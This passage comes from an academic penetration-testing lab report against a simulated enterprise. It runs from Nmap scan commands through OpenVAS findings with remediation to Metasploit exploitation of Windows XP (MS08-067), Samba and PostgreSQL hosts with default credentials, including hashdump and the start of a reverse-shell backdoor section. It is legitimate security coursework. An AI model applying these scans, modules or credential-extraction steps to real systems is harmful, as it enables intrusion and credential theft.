• Services: SSH and RDP (ms-wbt-server) 

• Software: OpenSSH 9.9p1 and Microsoft Terminal Services 

• OS: Linux kernel 2.6–6.x range 

• Security implication: Remote administrative exposure through SSH and RDP. 

Host 192.168.0.2 

• Numerous exposed services including: 

o FTP, SSH, Telnet, SMTP, DNS, HTTP 

o SMB/NetBIOS, MySQL, PostgreSQL, AJP13 

• Web server identified as Apache 2.2.8 with PHP 5.2.4 

• Database versions and SSL certificate metadata discovered 

• Hostname resolved to metasploitable.localdomain 

Security implication: 

This system represents a deliberately vulnerable multi-service server with: 

• Outdated software versions 

• Multiple remote-access protocols 
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• Exposed databases and web services 

Such configurations are commonly associated with high-risk compromise scenarios. 

Host 192.168.0.3 

• Services: MSRPC, NetBIOS, SMB 

• OS detection: Microsoft Windows XP / Server 2003-class system 

• SMB security mode and authentication configuration enumerated 

Security implication: 

Legacy Windows platforms are end-of-life and widely vulnerable to: 

• Remote code execution exploits 

• SMB-based attacks 

• Credential harvesting techniques 

This host would be considered critical risk in a real enterprise network. 

Host 192.168.0.5 

• Services: SSH and HTTP 

• Software: OpenSSH 5.9p1 and Apache 2.2.16 

• OS: Linux 2.6.x kernel range 

Security implication: 

Outdated SSH and Apache versions may expose: 

• Known CVEs 

• Weak cryptographic configurations 

• Web-application exploitation vectors 

 

Security and Reconnaissance Impact 

The aggressive Nmap scan demonstrates how quickly an attacker can transition from basic 

discovery to deep technical intelligence. 

Within a single scan, an adversary can obtain: 

• Precise operating system identification 

• Service versions tied to known vulnerabilities 

• Authentication and protocol configuration details 

• Network topology and hostnames 

• Evidence of legacy and high-risk systems 
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This level of reconnaissance dramatically reduces exploitation effort and enables rapid 

targeting of critical weaknesses within an enterprise network. 

 

3.4.4 Service Version Detection 

• Tool: Nmap 

• Version: Nmap – 7.95 (figure 47) 

• Environment: Kali Linux (Virtual Box – GCU Cloud VM) 

Command / Method 

 

 

Purpose 

The Nmap service version detection scan (-sV) was conducted against a discovered host 

to determine the exact software services and protocol implementations running on open 

ports. 

Unlike basic port enumeration, version detection enables attackers to: 

• Map services to known vulnerabilities (CVEs) 

• Identify unsupported or legacy software 

• Select targeted exploit techniques 

This step represents a critical transition from reconnaissance to potential exploitation 

planning. 

Findings (figure 50) 

The scan of host 192.168.0.3 revealed the following open services and associated software 

identification: 

Port Service Identified Software 

135/tcp MSRPC Microsoft Windows RPC 

139/tcp NetBIOS-SSN Microsoft Windows NetBIOS 

445/tcp Microsoft-DS Microsoft Windows SMB 

Service fingerprinting confirmed the underlying operating system as: 

Microsoft Windows XP (or Windows Server 2003-class system) 

This result aligns with the earlier OS fingerprinting scan, validating the accuracy of 

reconnaissance findings. 

 

sudo nmap 192.168.0.3 -sV 
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Security and Reconnaissance Impact 

Accurate service version identification significantly increases attacker capability by enabling: 

• Direct vulnerability matching against public exploit databases 

• Identification of end-of-life operating systems lacking security updates 

• Targeting of SMB-based remote execution exploits historically associated with legacy 

Windows platforms 

• Rapid prioritization of high-risk hosts within a network 

Legacy Windows XP/Server 2003 environments are widely recognized as high-severity 

security risks due to the absence of modern security controls and vendor support. 

Even without active exploitation, the intelligence gathered during this phase would allow an 

attacker to quickly transition into vulnerability exploitation or credential-based attacks. 

 

3.4.5 Additional Scan Techniques 

• Tool: Nmap 

• Version: Nmap – 7.95 (figure 47) 

• Environment: Kali Linux (Virtual Box – GCU Cloud VM) 

 

TCP Connect Scan 

Command / Method 

 

 

Purpose 

The TCP Connect scan (-sT) performs a full TCP three-way handshake to determine open 

ports when SYN-based scanning is unavailable or restricted. 

This method is more detectable but remains reliable across environments lacking raw socket 

privileges. 

Findings (figure 52) 

The scan confirmed the presence of: 

• 135/tcp – MSRPC 

• 139/tcp – NetBIOS-SSN 

• 445/tcp – Microsoft-DS (SMB) 

These results align with earlier enumeration identifying the host as a legacy Windows 

system. 

sudo nmap 192.168.0.3 -sT 
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Security Impact 

TCP Connect scanning demonstrates that critical SMB-related services remain 

externally reachable, increasing exposure to: 

• SMB exploitation 

• Credential harvesting 

• Remote code execution vulnerabilities 

 

UDP Scan 

Command / Method 

 

 

Purpose 

The UDP scan (-sU) identifies services operating over the connectionless UDP protocol, 

which is frequently overlooked during reconnaissance yet often exposes core 

infrastructure services. 

Findings (figure 53) 

The scan revealed several UDP-based services, including: 

• NTP (123/udp) 

• NetBIOS services (137–138/udp) 

• ISAKMP/IPsec-related services (500/udp, 4500/udp) 

• UPnP-related service exposure (1900/udp) 

Several ports returned open|filtered responses, indicating potential firewall interaction or 

silent packet filtering. 

Security Impact 

UDP exposure may enable: 

• Network reconnaissance through NetBIOS 

• VPN/IPsec attack surface targeting 

• Amplification or reflection-based denial-of-service vectors 

Because UDP scanning is often omitted, attackers gain additional hidden visibility into 

network services. 

 

sudo nmap 192.168.0.3 -sU 
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Fragmented Packet Scan 

Command / Method 

 

 

Purpose 

The fragmented packet scan (-f) attempts to evade firewall and intrusion-detection controls 

by splitting packets into smaller fragments, making inspection more difficult for improperly 

configured defenses. 

Findings (figure 54) 

The scan reproduced the same SMB-related open ports (135, 139, 445) identified in 

previous scans, confirming that packet fragmentation did not prevent service discovery. 

Security Impact 

Successful enumeration despite fragmentation indicates: 

• Limited firewall packet-reassembly inspection 

• Potential susceptibility to evasion-based reconnaissance 

• Increased likelihood of undetected malicious scanning 

 

HTTP Enumeration Script 

Command / Method 

 

 

Purpose 

The http-enum NSE script performs web-application reconnaissance by identifying: 

• Administrative panels 

• Login portals 

• Directory listings 

• Publicly accessible web resources 

This step represents initial web-application attack surface discovery. 

Findings (figure 55) 

Enumeration of host 192.168.0.5 revealed multiple potentially sensitive directories, 

including: 

sudo nmap 192.168.0.3 -f 

 

sudo nmap 192.168.0.3-5 -p80 --script http-enum 
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• /admin/login.php – Possible administrative authentication portal 

• /classes/ and /css/ – Directory listings enabled 

• /icons/ and /images/ – Accessible resource directories 

• /index/ and /show/ – Additional exposed content paths 

These results confirm public web-directory exposure on an Apache 2.2.16 server. 

Security Impact 

Web directory exposure significantly increases attacker capability by enabling: 

• Credential-harvesting attacks via admin portals 

• Discovery of hidden application functionality 

• Enumeration of sensitive files and configuration data 

Unchecked directory exposure is a common precursor to full web compromise. 
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4.0 Vulnerability Assessment 

 

4.1 Overview 
The Vulnerability Assessment phase expanded upon prior reconnaissance and 

enumeration activities by identifying known security weaknesses present on discovered 

hosts within the controlled laboratory environment. This phase utilized the Greenbone 

Vulnerability Management (GVM/OpenVAS) platform running inside the Kali Linux virtual 

machine to perform vulnerability scans against multiple simulated enterprise targets. 

Unlike reconnaissance scanning, vulnerability assessment correlates detected 

services, operating systems, and configurations with publicly disclosed security flaws 

documented in the Common Vulnerabilities and Exposures (CVE) database. The goal of this 

phase was to determine exploitable weaknesses, evaluate their severity, and provide 

remediation guidance aligned with secure system design principles. 

It is important to clarify that all vulnerability scanning was conducted exclusively 

within an authorized GCU laboratory simulation and not against the real AutoLiv 

corporate domain, infrastructure, or production systems. The laboratory virtual 

machines were intentionally configured to represent systems that could plausibly exist within 

an enterprise environment similar to AutoLiv’s network. This simulated methodology enables 

ethical demonstration of penetration-testing techniques, vulnerability discovery, and 

remediation planning while remaining fully compliant with legal, institutional, and academic 

requirements. If comparable vulnerabilities were present in a real corporate environment, 

they could expose the organization to risks such as remote code execution, credential 

compromise, lateral movement, and long-term attacker persistence. Therefore, the findings 

documented in this phase should be interpreted strictly as hypothetical risk modeling 

derived from simulated systems, not evidence of actual vulnerabilities within AutoLiv. 

 

4.2 Recommendation 
Based on the vulnerability assessment conducted using Greenbone Vulnerability 

Management (OpenVAS), several critical and high-severity security weaknesses were 

identified across the simulated enterprise hosts. These findings highlight systemic risks 

commonly associated with legacy operating systems, outdated services, weak 

authentication mechanisms, and insecure default configurations. 

To achieve successful remediation and align with fundamental secure system design 

principles, the following defensive actions are recommended: 

• Apply vendor-supported security patches and updates to remediate publicly 

disclosed CVEs affecting operating systems and network services. 

• Decommission or upgrade unsupported legacy platforms, particularly Windows 

XP/Server 2003-class systems that no longer receive security updates. 

• Disable unnecessary or insecure network services such as Telnet, FTP, and SMBv1 

to reduce remote attack surface exposure. 
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• Enforce strong authentication controls, including password complexity requirements, 

account lockout protections, and secure administrative access methods such as SSH 

key-based authentication. 

• Implement network segmentation, firewall filtering, and least-privilege access 

controls to prevent lateral movement following compromise. 

• Establish a continuous vulnerability management and patch governance program 

supported by routine scanning, remediation tracking, and configuration auditing. 

• Deploy endpoint detection, logging, and intrusion-detection monitoring capable of 

identifying exploitation attempts and anomalous persistence behavior. 

Collectively, these remediation strategies reduce exploitability, strengthen defensive 

posture, and support long-term enterprise security resilience within environments 

comparable to the simulated AutoLiv infrastructure. 

 

4.3 Scope 

Environment 

• Platform: Kali Linux (GCU Cloud Virtual Machine) 

• Tool: Greenbone Vulnerability Manager (OpenVAS/GVM) 

• Targets Scanned: 

o SQL To Shell 

o Windows XP 

o Kali-Linux Host System 

Ethical Limitation 

• No scanning of real AutoLiv infrastructure 

• All activity restricted to sandbox virtual machines 

• Conducted strictly for academic penetration-testing simulation 
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4.4 Details 

 

4.4.1 Vulnerability Scanning Using Greenbone (OpenVAS) 

Tool: Greenbone Vulnerability Manager (GVM/OpenVAS) 

Database Source: Common Vulnerabilities and Exposures (CVE) and Greenbone Network 

Vulnerability Tests (NVT) 

Environment: Kali Linux (GCU Virtual Lab) 

 

Command / Method 

Greenbone Vulnerability Manager services were initialized from the Kali Linux terminal using 

the gvm-start command to launch the vulnerability scanner, management daemon, and web 

interface required for assessment (Figure 56). 

The Greenbone Security Assistant web dashboard was accessed locally through the 

provided HTTPS interface, allowing configuration of scan targets, execution of vulnerability 

scans, and review of assessment results (Figure 57). 

Three scan targets were configured and evaluated: 

• Local Kali Linux host (127.0.0.1) 

• SQL To Shell vulnerable server (127.0.0.3) 

• Additional vulnerable host (127.0.0.4) 

Corresponding vulnerability scan tasks were executed using the Full and Fast scan 

configuration. 

All scan tasks completed successfully without execution errors, confirming proper scanner 

operation (Figure 59). 

Host discovery and operating system identification results were then reviewed within 

Greenbone, confirming detection of multiple hosts and associated operating systems. 
(Figures 61–62) 

All scanning activity occurred strictly within the authorized academic simulation 

environment and did not involve real AutoLiv infrastructure. 

 

Purpose 

The purpose of performing vulnerability scanning with Greenbone was to identify known 

security weaknesses, insecure configurations, and exploitable conditions present on 

discovered hosts following reconnaissance and enumeration phases. 

Unlike port or service enumeration alone, vulnerability assessment correlates detected 

systems and services with public CVE-documented vulnerabilities, enabling: 
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• Identification of high-risk security exposures 

• Evaluation of exploitability and enterprise impact 

• Development of remediation strategies aligned with secure system design 

principles 

This phase represents the transition from technical discovery to formal risk analysis 

within the penetration-testing lifecycle. 

 

Findings 

Greenbone scan results identified multiple vulnerabilities of varying severity across the 

simulated laboratory hosts. 

Key observations include: 

Local Kali Linux Host (127.0.0.1) 

• Detected medium-severity vulnerabilities, including insecure service configurations 

such as unauthenticated MQTT access and weak SSL/TLS cipher support (Figure 60) 

• Demonstrates that even maintained administrative systems may contain 

misconfiguration-based security risks 

SQL To Shell / Additional Vulnerable Hosts (127.0.0.3 – 127.0.0.4) 

• Returned log-level or lower-severity findings, indicating fewer exploitable weaknesses 

relative to legacy or intentionally vulnerable environments 

• Confirms variability of vulnerability exposure across different host configurations 

Operating System Analysis 

• Greenbone severity distribution shows one high-severity operating system instance 

alongside medium and low classifications (Figure 62) 

• Reinforces correlation between legacy or insecure configurations and increased 

vulnerability severity 

Collectively, results demonstrate that system configuration, patch level, and service 

exposure directly influence vulnerability severity. 

 

Security Impact 

If vulnerabilities similar to those identified in this simulated environment were present within 

a real enterprise network, potential impacts could include: 

• Unauthorized remote access or service abuse 

• Credential exposure or interception through weak encryption 
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• Privilege escalation and lateral movement across internal systems 

• Persistent attacker footholds enabling long-term compromise 

These risks highlight the necessity of: 

• Continuous vulnerability scanning and remediation 

• Secure service configuration and encryption enforcement 

• Ongoing patch and lifecycle management 

All conclusions remain confined to a controlled academic simulation and do not indicate 

real vulnerabilities within AutoLiv production infrastructure. 

 

4.4.2 Critical Vulnerability Taxonomies Identified 

Command / Method 

Detailed vulnerability information was obtained by reviewing completed Greenbone scan 

reports and opening individual host findings within the Greenbone Security Assistant 

interface. 

Each vulnerability entry was correlated with associated CVE and NVT identifiers, severity 

classifications, and affected services to determine representative critical enterprise 

vulnerability categories present within the simulated environment (Figures 60 and 63). 

Remediation guidance was derived from Greenbone vulnerability descriptions and aligned 

with secure configuration, patch management, and service-hardening best practices. 

 

Purpose 

The objective of this section is to: 

• Identify five critical vulnerability categories discovered during scanning 

• Evaluate security risk and exploitability 

• Provide actionable remediation strategies aligned with enterprise security design 

principles 

This transforms raw vulnerability scan output into defensive security 

recommendations, completing the penetration-testing risk-analysis phase. 

 

Findings and Remediation 

1. Unauthenticated Network Service Exposure (MQTT) 

Evidence: Medium-severity MQTT broker vulnerability detected on the local host (Figure 60). 
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Risk: Allows attackers to connect without credentials, enabling unauthorized messaging, 

command injection, or data interception. 

Security Impact: Potential remote interaction with internal services and persistence 

mechanisms. 

Remediation: 

• Enforce authentication and authorization controls 

• Restrict access via firewall segmentation 

• Disable unnecessary messaging services 

 

2. Weak SSL/TLS Cryptographic Configuration 

Evidence: Weak cipher suites identified in scan results (Figure 60). 

Risk: Enables traffic decryption, man-in-the-middle interception, and credential 

exposure. 

Security Impact: Compromises confidentiality and integrity of encrypted 

communications. 

Remediation: 

• Disable deprecated protocols and ciphers 

• Enforce TLS 1.2/1.3 only 

• Maintain certificate lifecycle management 

 

3. Weak SSH Cryptographic Algorithms 

Evidence: Weak SSH MAC algorithm support detected (Figure 60). 

Risk: Permits cryptographic downgrade attacks, brute-force facilitation, or session 

hijacking. 

Security Impact: Threatens administrative remote-access security and may enable 

privilege escalation. 

Remediation: 

• Remove deprecated MAC/cipher algorithms 

• Require key-based authentication 

• Enforce secure SSH configuration baselines 
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4. CVE-Referenced Host Vulnerabilities 

Evidence: Multiple CVE/NVT identifiers associated with scanned hosts (Figure 63). 

Risk: Documented vulnerabilities provide known exploitation pathways widely used in 

real-world attacks. 

Security Impact: May enable: 

• Remote code execution 

• Privilege escalation 

• Service compromise 

Remediation: 

• Apply vendor security patches 

• Upgrade unsupported software versions 

• Implement continuous vulnerability management 

 

5. System Misconfiguration and Exposure Risk 

Evidence: Variation in severity across hosts and services (Figures 60–63). 

Risk: Default configurations and exposed services create low-complexity attack vectors. 

Security Impact: Facilitates: 

• Lateral movement 

• Credential compromise 

• Persistent attacker footholds 

Remediation: 

• Apply secure configuration hardening standards 

• Disable unused services and ports 

• Perform routine vulnerability scanning and auditing 

 

Security Impact 

The vulnerability categories identified represent common enterprise exploitation 

pathways capable of enabling: 

• Unauthorized remote access 

• Credential compromise 
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• Privilege escalation and lateral movement 

• Long-term attacker persistence and data exfiltration 

These weaknesses are frequently leveraged by advanced persistent threat (APT) actors, 

as they provide stable and repeatable intrusion mechanisms within inadequately secured 

environments. 

All findings remain confined to a controlled academic simulation and do not indicate real 

vulnerabilities within AutoLiv production infrastructure. 

 

4.4.3 Application of Vulnerability Knowledge to Alternative Contexts 

Command / Method 

Analysis of vulnerability applicability was performed by reviewing the severity 

classifications, CVE/NVT identifiers, affected services, and remediation guidance 

obtained from the Greenbone vulnerability assessment. 

Observed vulnerability patterns were then compared against common enterprise security 

weaknesses documented in industry security frameworks and real-world intrusion case 

studies to determine how similar conditions could manifest in different technical and 

organizational environments. 

 

Purpose 

The purpose of this section is to demonstrate how vulnerabilities identified within a 

controlled laboratory simulation can provide meaningful insight into: 

• Broader enterprise security risks 

• Transferability of exploitation techniques 

• Preventive defensive design strategies 

This analysis ensures that findings extend beyond a single environment and contribute to 

realistic organizational risk understanding. 

 

Findings 

The vulnerability assessment revealed several reusable vulnerability patterns that 

commonly appear across enterprise systems, cloud services, and hybrid infrastructures: 

Authentication and Access Control Weaknesses 

Unauthenticated services and weak credential protections observed in the lab mirror real-

world enterprise misconfigurations, where exposed services allow attackers to gain 

initial footholds without valid credentials. 
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These weaknesses frequently appear in: 

• Internet-exposed IoT or messaging services 

• Misconfigured cloud workloads 

• Legacy internal services lacking modern authentication 

 

Weak Cryptographic Implementations 

Detection of weak SSL/TLS and SSH cryptographic configurations demonstrates how 

outdated encryption standards remain a widespread organizational risk. 

Similar weaknesses are commonly exploited in: 

• Legacy web servers 

• VPN gateways using deprecated ciphers 

• Internal administrative protocols lacking modern encryption enforcement 

Because encryption protects confidentiality and integrity, weaknesses in this area 

translate directly into enterprise-wide exposure risk. 

 

CVE-Documented Software Vulnerabilities 

Host vulnerabilities associated with public CVE identifiers illustrate how known software 

flaws persist in production environments due to: 

• Delayed patching 

• Unsupported software versions 

• Inadequate vulnerability-management processes 

These same conditions are repeatedly leveraged in real-world breaches, ransomware 

campaigns, and advanced persistent threat intrusions. 

 

System Misconfiguration and Service Exposure 

Variation in severity across scanned hosts demonstrates that configuration quality 

directly impacts risk level. 

Poorly hardened systems consistently present higher exploitability, regardless of operating 

system or deployment model. 

This principle applies broadly to: 

• On-premises enterprise networks 

• Cloud infrastructure and containers 
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• Third-party vendor environments 

 

Security Impact 

Understanding how vulnerabilities translate across environments enables organizations to: 

• Predict attacker behavior based on known exploitation patterns 

• Prioritize remediation according to real business risk 

• Implement defense-in-depth security architecture across diverse systems 

• Strengthen patch management, encryption policy, and configuration hardening 

These lessons demonstrate that vulnerability assessments are not limited to a single system 

but instead provide strategic security insight applicable to alternative operational 

contexts. 

All interpretations remain based on a controlled academic simulation and do not indicate 

real vulnerabilities within AutoLiv production infrastructure. 

 

4.4.4 Advanced Persistent Threat (APT) Relevance 

Command / Method 

Advanced persistent threat relevance was evaluated by analyzing the vulnerability 

categories, severity levels, affected services, and CVE-referenced findings identified 

during the Greenbone vulnerability assessment. 

Observed weaknesses were compared with documented attacker behaviors and 

intrusion techniques commonly associated with long-term targeted cyber-espionage and 

enterprise compromise operations. 

 

Purpose 

The purpose of this section is to determine whether vulnerabilities discovered within the 

simulated laboratory environment could realistically be leveraged by advanced 

persistent threat (APT) actors in real organizational contexts. 

This analysis supports: 

• Understanding long-term exploitation potential 

• Evaluating enterprise-level security risk 

• Demonstrating the relationship between technical vulnerabilities and strategic cyber 

threats 
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Findings 

Several vulnerability categories identified in the Greenbone assessment align closely with 

conditions historically exploited in APT intrusion campaigns. 

Unauthenticated or Weakly Protected Services 

Exposure of services without authentication—such as the detected MQTT configuration—

mirrors real-world initial-access vectors used by threat actors to obtain unauthorized 

footholds inside enterprise environments. 

APT groups frequently exploit: 

• Misconfigured network services 

• Default or missing authentication controls 

• Poorly segmented internal systems 

These weaknesses enable stealthy persistence prior to detection. 

 

Weak Cryptographic Implementations 

Detection of weak SSL/TLS cipher suites and insecure SSH cryptographic algorithms 

demonstrates how outdated encryption configurations can undermine enterprise 

confidentiality and integrity protections. 

APT actors commonly target: 

• Legacy encryption protocols 

• Downgrade-susceptible secure channels 

• Administrative remote-access services 

Successful exploitation may allow credential interception, session hijacking, or covert 

monitoring of communications. 

 

CVE-Documented Host Vulnerabilities 

The presence of vulnerabilities associated with public CVE and NVT identifiers reflects 

one of the most common real-world APT exploitation strategies: leveraging known but 

unpatched software flaws. 

Historical breach investigations consistently show attackers exploiting: 

• Delayed patch deployment 

• Unsupported software versions 

• Weak vulnerability-management processes 
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These conditions enable remote code execution, privilege escalation, and lateral 

movement within enterprise networks. 

 

System Misconfiguration and Privilege Escalation Paths 

Variation in vulnerability severity across hosts indicates that configuration weaknesses, 

rather than operating system type alone, often determine exploitability. 

APT actors routinely exploit: 

• Default configurations 

• Excessive service exposure 

• Insufficient privilege separation 

Such weaknesses support long-term persistence and covert expansion across internal 

infrastructure. 

 

Security Impact 

If vulnerabilities comparable to those identified in this controlled simulation existed within a 

real corporate environment, they could enable: 

• Stealthy initial compromise through unauthenticated services 

• Credential interception and encrypted-traffic decryption 

• Privilege escalation and lateral network movement 

• Persistent access supporting espionage, disruption, or data exfiltration 

These outcomes align directly with documented APT operational objectives, confirming 

that the vulnerability categories discovered in this assessment represent credible 

enterprise-level security risks. 

Effective mitigation therefore requires: 

• Continuous vulnerability scanning and remediation 

• Strong authentication and encryption enforcement 

• Timely patch and lifecycle management 

• Comprehensive defense-in-depth security architecture 

All conclusions remain limited to an academic simulation environment and do not indicate 

real vulnerabilities within AutoLiv production infrastructure. 
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5.0 Applied Exploitation Using Metasploit 
 

5.1 Overview 

The Applied Exploitation phase transitioned from vulnerability identification to controlled 

exploitation using the Metasploit Framework within the authorized GCU laboratory 

environment. 

This phase demonstrates how previously identified vulnerabilities can be weaponized to 

obtain unauthorized system access, escalate privileges, and establish remote control 

sessions. 

All exploitation activities were conducted exclusively within the Lopes Cloud sandbox 

environment against: 

• Windows XP 

• Metasploitable 1 

• Metasploitable 2 

No real-world systems were targeted. All activity complied with institutional and ethical 

penetration-testing standards. 

 

5.2 Recommendation 

Based on successful exploitation of the simulated hosts, the following defensive measures 

are recommended: 

• Decommission unsupported legacy systems such as Windows XP 

• Disable SMBv1 and vulnerable network services 

• Enforce strict patch management governance 

• Remove default credentials and weak passwords 

• Implement host-based intrusion detection and logging 

• Apply network segmentation to restrict lateral movement 

• Conduct routine exploitation validation testing as part of red-team assessments 

The results demonstrate that unpatched systems and weak service configurations enable 

rapid compromise using publicly available exploit frameworks. 
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5.3 Scope 

Environment 

• Platform: Kali Linux (Lopes Cloud) 

• Tool: Metasploit Framework (msfconsole) 

• Targets: (figure 64) 

• Windows XP (192.168.0.3) 

• Metasploitable 1 (192.168.0.2) 

• Metasploitable 2 (192.168.0.4) 

Ethical Limitation 

• No external networks were targeted 

• No real AutoLiv infrastructure was involved 

• All activity remained within the authorized GCU virtual lab 

 

5.4 Details 

 

5.4.1 Exploitation of Windows XP 

Tool: Metasploit Framework 

Module: exploit/windows/smb/ms08_067_netapi 

Target Host: 192.168.0.3 

Command / Method 

Prior enumeration activities confirmed that the Windows XP host at 192.168.0.3 was 

accessible on the network and exposed SMB services on port 445/tcp (Figure 67). Service 

fingerprinting identified the system as Windows XP Service Pack 3, a legacy operating 

system known to be vulnerable to MS08-067 remote code execution. 

A module search within the Metasploit Framework identified applicable SMB exploit modules 

targeting legacy Windows platforms (Figure 68). The MS08-067 NetAPI exploit module was 

selected and loaded into the Metasploit console (Figure 69). 

Exploit parameters were configured to define the local reverse handler (LHOST) and the 

remote Windows XP target (RHOSTS) (Figure 70). Once properly configured, the exploit was 

executed against the target host. 

Execution output confirmed successful vulnerability triggering and establishment of a 

Meterpreter session (Figure 71), demonstrating unauthenticated remote code execution via 

the SMB service. 
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Findings 

Successful exploitation of MS08-067 resulted in full administrative compromise of the 

Windows XP system. 

SYSTEM-Level Privilege Verification 

After establishing the Meterpreter session, privilege verification was conducted to confirm 

the level of access obtained. The session was running under NT AUTHORITY\SYSTEM, 

demonstrating complete administrative control of the host (Figure 72). 

Credential Extraction 

The hashdump command was executed to extract password hashes from the Windows 

Security Account Manager (SAM) database. Multiple user account hashes, including the 

Administrator account, were successfully retrieved (Figure 73). 

This confirms credential compromise and potential for lateral movement within a networked 

enterprise environment. 

Remote Desktop Capture 

A remote screenshot of the Windows XP desktop was successfully captured from the 

compromised system (Figure 74). This demonstrates active remote control of the host and 

confirms that the attacker can interact with the user environment. 

File System Access and Manipulation 

File system enumeration and file upload capabilities were verified within the compromised 

environment (Figure 75). The ability to navigate directories and upload files confirms full 

operational control over the system’s storage and execution environment. 

 

Security Impact 

The MS08-067 vulnerability is a critical SMB remote code execution flaw that allows 

unauthenticated attackers to execute arbitrary code over port 445. 

Exploitation requires: 

• No valid credentials 

• No prior authentication 

• Only network access to the vulnerable host 

If present in a real enterprise environment, this vulnerability would allow attackers to: 

• Achieve full SYSTEM-level control 

• Extract password hashes for credential reuse 

• Deploy ransomware or persistent backdoors 

• Move laterally through SMB trust relationships 
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• Establish long-term persistence within internal infrastructure 

The vulnerability exploited in this simulation has historically been leveraged in large-scale 

malware campaigns and enterprise breaches, reinforcing the critical risk posed by 

unsupported legacy operating systems. 

The successful compromise of the Windows XP host confirms that unpatched legacy 

systems represent severe enterprise security exposure. 

All exploitation activity was conducted strictly within the authorized academic sandbox and 

does not represent real AutoLiv infrastructure. 

 

5.4.3 Exploitation of Metasploitable 1 
Tool: Metasploit Framework 

Module: exploit/multi/samba/usermap_script 

Target Host: 192.168.0.2 

Attacker Platform: Kali Linux (Lopes Cloud Environment) 

 

Command / Method 

Following enumeration in prior phases, the Metasploitable 1 host at 192.168.0.2 was 

identified as exposing multiple network services, including Samba over port 139 and 445 

(Figure 76). Service version detection indicated an outdated Samba configuration consistent 

with known command injection vulnerabilities. 

A search within the Metasploit Framework identified the usermap_script module as 

applicable to vulnerable Samba versions (Figure 77). The module was selected and loaded 

into the Metasploit console for configuration (Figure 78). 

Exploit parameters were configured to define the remote host (RHOSTS) and local reverse 

handler (LHOST) (Figure 79). Once configuration was validated, the exploit was executed 

against the target system. 

Execution output confirmed successful command injection and establishment of a remote 

shell session (Figure 80), demonstrating unauthenticated remote compromise of the Linux-

based Metasploitable host. 

 

Findings 

Successful exploitation of the Samba username map script vulnerability resulted in 

immediate shell-level access to the target system. 

Remote Shell Access Verification 

Upon exploitation, a shell session was successfully opened, confirming arbitrary command 

execution on the target system (Figure 81). Basic system identification commands were 

executed to verify access and confirm the compromised host environment. 
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The ability to execute commands remotely confirms that the Samba service was improperly 

configured and vulnerable to command injection. 

 

Privilege and System Enumeration 

Post-exploitation enumeration confirmed: 

• Active user context 

• Linux kernel version 

• Directory structure 

• System-level file access 

File system navigation demonstrated unrestricted directory visibility and execution capability 

(Figure 82). This level of access enables attackers to deploy persistence mechanisms, 

extract sensitive files, or escalate privileges depending on system configuration. 

 

Security Impact 

The Samba username map script vulnerability (CVE-2007-2447) allows unauthenticated 

remote command execution via improperly validated username parameters. 

Exploitation requires: 

• Network access to SMB service 

• No valid credentials 

• No prior authentication 

Successful compromise enables: 

• Remote shell access 

• File system traversal 

• Deployment of malicious payloads 

• Credential harvesting from Linux systems 

• Lateral movement within mixed Windows/Linux environments 

Because Samba is frequently deployed in enterprise environments for file sharing and 

authentication integration, misconfigured instances present significant cross-platform 

security risk. 

The successful exploitation of the Metasploitable 1 host confirms that outdated open-source 

service configurations can expose enterprise systems to immediate compromise. 



AutoLiv Pen Testing Report 

 

Page 51 of 119 
 

All exploitation activity was conducted strictly within the authorized academic sandbox and 

does not represent real AutoLiv infrastructure. 

 

5.4.3 Exploitation of Metasploitable 2 
Tool: Metasploit Framework 

Module: exploit/linux/postgres/postgres_payload 

Target Host: 192.168.0.4 

Attacker Platform: Kali Linux (Lopes Cloud Environment) 

 

Command / Method 

Enumeration results identified that the Metasploitable 2 host at 192.168.0.4 was exposing 

PostgreSQL service on port 5432/tcp (Figure 83). Service fingerprinting confirmed the 

presence of an accessible PostgreSQL instance. 

A module search within the Metasploit Framework identified applicable PostgreSQL exploit 

modules capable of leveraging default credentials (Figure 84). The postgres_payload module 

was selected and loaded for exploitation (Figure 85). 

Exploit parameters were configured to define: 

• Remote host (RHOSTS = 192.168.0.4) 

• Local reverse handler (LHOST) 

• Default PostgreSQL credentials (postgres / postgres) 

(Figure 86) 

Upon execution, the module successfully authenticated to the PostgreSQL service and 

deployed a payload, resulting in a remote shell session on the Linux host (Figure 87). 

 

Findings 

Successful exploitation resulted in remote shell-level access to the Metasploitable 2 system. 

Shell Verification 

Post-exploitation verification commands confirmed active access to the Linux host and 

identified the current user context and kernel version (Figure 88). 

File System Enumeration 

Directory traversal confirmed full visibility of the system’s file structure (Figure 89). The ability 

to navigate root directories demonstrates full system compromise. 

 

Security Impact 
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PostgreSQL services configured with default credentials present a critical enterprise risk. 

Successful exploitation enables: 

• Unauthorized database access 

• Remote shell execution 

• Data extraction 

• Privilege escalation opportunities 

• Lateral movement across networked systems 

This exploit demonstrates how weak credential management can lead directly to full system 

compromise. 

All activity was conducted within the authorized academic sandbox environment. 
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6.0 Custom Payload 
 

6.1 Overview 

The Applied Exploitation phase transitioned from vulnerability identification to controlled 

exploitation within the authorized GCU Lopes Cloud laboratory environment. 

This phase demonstrates how previously identified vulnerabilities on a legacy Windows XP 

system can be exploited using the Metasploit Framework to obtain unauthorized remote 

access. Following successful exploitation, a custom reverse TCP payload was generated 

using MSFVenom and deployed as a persistent backdoor. 

The objective of this phase was to: 

• Exploit a known SMB vulnerability 

• Obtain SYSTEM-level access 

• Generate a custom payload 

• Establish a remote reverse shell connection 

• Implement persistence 

• Verify remote administrative control 

All activities were conducted strictly within the academic sandbox environment. No real 

AutoLiv systems were targeted. 

 

6.2 Recommendation 

Based on the successful exploitation and backdoor deployment, the following defensive 

security recommendations are provided: 

• Decommission unsupported legacy systems such as Windows XP 

• Disable SMBv1 and vulnerable legacy services 

• Enforce strict patch management governance 

• Restrict outbound firewall rules to prevent unauthorized reverse connections 

• Implement host-based intrusion detection and logging 

• Remove unnecessary Startup persistence mechanisms 

• Conduct regular exploitation validation testing 

The results demonstrate that unpatched legacy systems allow rapid compromise using 

publicly available exploit frameworks and tools. 
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6.3 Scope 

Environment 

• Attacker Platform: Kali Linux (Lopes Cloud) 

• Target Host: Windows XP (192.168.0.3) 

• Toolset: Metasploit Framework and MSFVenom 

Ethical Limitation 

• No external networks were targeted 

• No real AutoLiv infrastructure was involved 

• All activity remained within the authorized GCU virtual lab 

 

6.4 Details 

 

6.4.1 Exploitation of Windows XP 

Tool: Metasploit Framework 

Module: exploit/windows/smb/ms08_067_netapi 

Target Host: 192.168.0.3 

Command / Method 

Prior Nmap enumeration confirmed that the Windows XP host exposed SMB services on 

port 445/tcp. Service fingerprinting identified the operating system as Windows XP Service 

Pack 3, a legacy platform vulnerable to MS08-067 remote code execution. 

The exploit module was selected and configured: 

 

 

 

 

